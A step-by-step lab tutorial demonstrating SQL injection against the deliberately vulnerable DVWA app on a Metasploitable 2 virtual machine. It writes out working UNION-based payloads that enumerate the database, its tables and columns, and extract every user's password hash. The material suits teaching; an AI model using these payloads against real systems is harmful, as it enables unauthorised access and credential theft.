
SQL Injection Demo

1) Open the Kali-linux 2 and Metasploitable 2
2) Open Iceweasel; Browse to the IP address 192.168.78.129 in the Kali VM 
3) log in using the username: “user” and the password: “password”
4) change the security level to “low”
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[image: ]5) Travel to the “SQL Injection” tab on the left side of the page. You should come to a user ID page






6) This web application is vulnerable to SQL injection because their input validation conditions are not protected. This can be shown by simply typing in:
	Name’
7) Once you push submit, an error message will appear. This crash proves that this application is vulnerable to SQL injection
8) Now, we will bypass the authentication by typing this into the User ID: text box:
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9) Once you push submit, a list of first names and last names should appear
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10) Now we need to gather more useful information. In order to do that, we are going use Union statements. Type this into the UserID box: 
	Rellk’ or 1=1 union select null, database() #
11) It will show the list as it was shown previously, except at the end of the list you will see this: 
 [image: ]
 This happened because we set the first string to show “null” and the second one to show the database (which is the dvwa)
12) Let’s try to get more useful information by asking for all of the table names 
Rellk’ and 1=1 union select null, table_name from information_schema.tables #
13) Once you push submit, it should show you the complete list of table names that are in the Web application. We are the most interested in the users table. We are going to retrieve all of the column names from this table by typing this into the text box:
Rellk’ and 1=1 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name = ‘users’ #
14) A list of column names should appear. Among these are the user and password columns, which we are the most interested in seeing. To retrieve this information:
Rellk’ and 1=1 union select null, concat(user,0x0a,password) from users #

You now have the username and password hash of every user on the system
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